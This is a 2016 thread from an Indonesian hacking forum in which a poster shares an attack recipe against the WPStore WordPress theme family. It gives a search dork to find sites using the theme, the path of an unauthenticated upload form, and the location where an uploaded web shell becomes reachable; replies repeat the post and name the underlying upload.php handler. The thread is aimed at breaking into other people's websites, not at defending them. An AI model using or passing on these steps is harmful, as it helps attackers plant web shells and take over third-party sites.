Exploit WP-Store Upload Vulnerability

Exploit WP-Store Upload Vulnerability - Printable Version

+- BackBox Indonesia (https://www.backboxindonesia.or.id)
+-- Forum: Attacking (https://www.backboxindonesia.or.id/forum-12.html)
+--- Forum: Web Attack (https://www.backboxindonesia.or.id/forum-15.html)
+--- Thread: Exploit WP-Store Upload Vulnerability (/thread-52.html)

Exploit WP-Store Upload Vulnerability - Nue Bhandell - 03-12-2016

xixixhi malam Gengs, ciee malam minggu yak ? awkawkaw kok gak ngapel x_O? malah sibuknyari exploit dimari awkwka.
*nyari Bug mulu, nyari pacarnya kapan* xD
iseng2 share exploit lama, kali aja masih crotz awkakw.

yg dh master minggir dlu beb :heart:

Play with Me , Baby :P

Dork :
inurl:/wp-content/themes/WPstore/

WPStore
eShop
KidzStore
Emporium
Store
eCommerce
framework
frameworkold
Theme bisa diganti *ganti pada bagian belakangnya itu lho*

Exploit: /wp-content/themes/WPStore/upload/

Ciri2 Vuln x_O ?
Muncul tempat Uploader Omz

[Image: pIv5zjH.png]

langsung ae Upload Shell Lo Gengs..

Shell Akses: target.co.li/wp-content/uploads/products_img/namashell.php

[Image: 3sgz1d0.png]

Done x_O

Baca juga thread gue sebelumnya gengs: http://www.backboxindonesia.or.id/thread-26.html
Kunjungin Blog saya plis :D : TKJ Cyber Art

semoga bermanfaat Gengs, maap kalo post cupu [Image: smile.png]

waktunya Nue dan tim Katakan Putus cabut dulu gengs, karna mau Ngapel dolo :cool:
Bye

SUMUR

RE: Exploit WP-Store Upload Vulnerability - anongep - 03-12-2016

ok om, dicoba om ^_^ / , kemungkinan ada uploader 1000:1 :3

RE: Exploit WP-Store Upload Vulnerability - kcnewbie - 03-12-2016

(03-12-2016, 02:17 PM)Nue Bhandell Wrote: xixixhi malam Gengs, ciee malam minggu yak ? awkawkaw kok gak ngapel x_O? malah sibuknyari exploit dimari awkwka.
*nyari Bug mulu, nyari pacarnya kapan* xD
iseng2 share exploit lama, kali aja masih crotz awkakw.

yg dh master minggir dlu beb :heart:

Play with Me , Baby :P

Dork :
inurl:/wp-content/themes/WPstore/

WPStore
eShop
KidzStore
Emporium
Store
eCommerce
framework
frameworkold
Theme bisa diganti *ganti pada bagian belakangnya itu lho*

Exploit: /wp-content/themes/WPStore/upload/

Ciri2 Vuln x_O ?
Muncul tempat Uploader Omz

langsung ae Upload Shell Lo Gengs..

Shell Akses: target.co.li/wp-content/uploads/products_img/namashell.php

Done x_O

Baca juga thread gue sebelumnya gengs: http://www.backboxindonesia.or.id/thread-26.html
Kunjungin Blog saya plis :D : TKJ Cyber Art

semoga bermanfaat Gengs, maap kalo post cupu
waktunya Nue dan tim Katakan Putus cabut dulu gengs, karna mau Ngapel dolo :cool:
Bye

SUMUR

kangen bet ama method ginian >_<

RE: Exploit WP-Store Upload Vulnerability - Nue Bhandell - 03-12-2016

(03-12-2016, 02:41 PM)anongep Wrote: ok om, dicoba om ^_^ / , kemungkinan ada uploader 1000:1 :3

iya bang , ini exploit lama bgt..
keknya cuma otak2 bokepers doang yg imajinasinya tinggi bisa oprek dork biar dpt yg perawan wkwkw :cool:

(03-12-2016, 02:44 PM)kcnewbie Wrote:
(03-12-2016, 02:17 PM)Nue Bhandell Wrote: xixixhi malam Gengs, ciee malam minggu yak ? awkawkaw kok gak ngapel x_O? malah sibuknyari exploit dimari awkwka.
*nyari Bug mulu, nyari pacarnya kapan* xD
iseng2 share exploit lama, kali aja masih crotz awkakw.

yg dh master minggir dlu beb :heart:

Play with Me , Baby :P

Dork :
inurl:/wp-content/themes/WPstore/

WPStore
eShop
KidzStore
Emporium
Store
eCommerce
framework
frameworkold
Theme bisa diganti *ganti pada bagian belakangnya itu lho*

Exploit: /wp-content/themes/WPStore/upload/

Ciri2 Vuln x_O ?
Muncul tempat Uploader Omz

langsung ae Upload Shell Lo Gengs..

Shell Akses: target.co.li/wp-content/uploads/products_img/namashell.php

Done x_O

Baca juga thread gue sebelumnya gengs: http://www.backboxindonesia.or.id/thread-26.html
Kunjungin Blog saya plis :D : TKJ Cyber Art

semoga bermanfaat Gengs, maap kalo post cupu
waktunya Nue dan tim Katakan Putus cabut dulu gengs, karna mau Ngapel dolo :cool:
Bye

SUMUR

kangen bet ama method ginian >_<

akwakkwa ciee pemaen lama nih wkwkw :D
hehehe iya bang,, dulu mah exploit seumuran kek exploit diatas , rasanya kek ada manis2nya gimana gitu wkwkw

btw bang kangenin gua aja :heart: xixixhi

RE: Exploit WP-Store Upload Vulnerability - Tu5b0l3d - 03-12-2016

nice share bang.
dlu ane sempet bkin exploiternya.
langsung ke akarnya di /upload/upload.php

RE: Exploit WP-Store Upload Vulnerability - Nue Bhandell - 03-13-2016

(03-12-2016, 04:27 PM)Tu5b0l3d Wrote: nice share bang.
dlu ane sempet bkin exploiternya.
langsung ke akarnya di /upload/upload.php

xixihi iya2 bang ilham :D
aku kan setia trus ama tutor2 di indoXploit :)